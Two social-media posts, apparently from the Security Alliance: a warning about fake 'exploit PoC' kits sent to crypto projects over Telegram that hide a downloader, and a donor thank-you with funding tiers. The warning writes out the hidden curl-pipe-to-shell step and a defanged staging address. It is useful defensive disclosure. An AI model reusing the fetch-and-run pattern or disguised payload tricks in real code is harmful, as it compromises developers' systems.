🚨 PSA: threat actors are approaching crypto projects on Telegram, posing as white-hat researchers, offering an “exploit PoC” for your own infra. The PoC contains malware. Our detailed write-up is linked below. It’s a complete, runnable Solana exploit kit (fork harness, fixtures, the real program binary) so it looks legit. But poc.mjs reads a byte array from a JSON field called UnifiedSignatureInfo, decodes it to a URL, and runs curl -fsSL -k "<url>" | sh. The decimal array is plain ASCII posing as a Solana signature. Following the README (npm install, start fork, node poc.mjs) is what detonates it. IOC: hxxps://162[.]35[.]174[.]231:5000/stage2. Treat any unsolicited PoC as hostile, review statically in an isolated VM, and never run the setup steps on a box you care about. Report any suspicious reachouts to SEAL. radar.securityalliance.org/a…

We're so grateful to everyone who contributed to the @TheDAOFund's recent Ethereum Security round! Your support helped fund critical updates for all of our programs: - SEAL Certifications (recently launched GA!🎉) - SEAL911 (incident resolution log: github.com/security-alliance…) - SEAL Frameworks (launched several new domains!🎉) - SEAL White Hat Safe Harbor (launched several new adoptions! 🎉) - SEAL Intel (published our first quarterly threat report!🎉) We're a lean team, so all funding goes directly to sustaining these operations and extending our runway. <$5K: Covers a few days of operational costs - helps keep servers running and tools maintained. 5K-10K: Covers roughly one to two weeks of operations across all SEAL initiatives. 10K-25K: Covers 2-5 weeks of operations, helping us maintain continuity through 2026. 25K-50K: Covers 1-2 months of operations, giving us real breathing room. 50K+: Covers a month or more, and meaningfully extends our runway, letting us plan ahead instead of month-to-month. You can still support our initiatives at: securityalliance.org/donate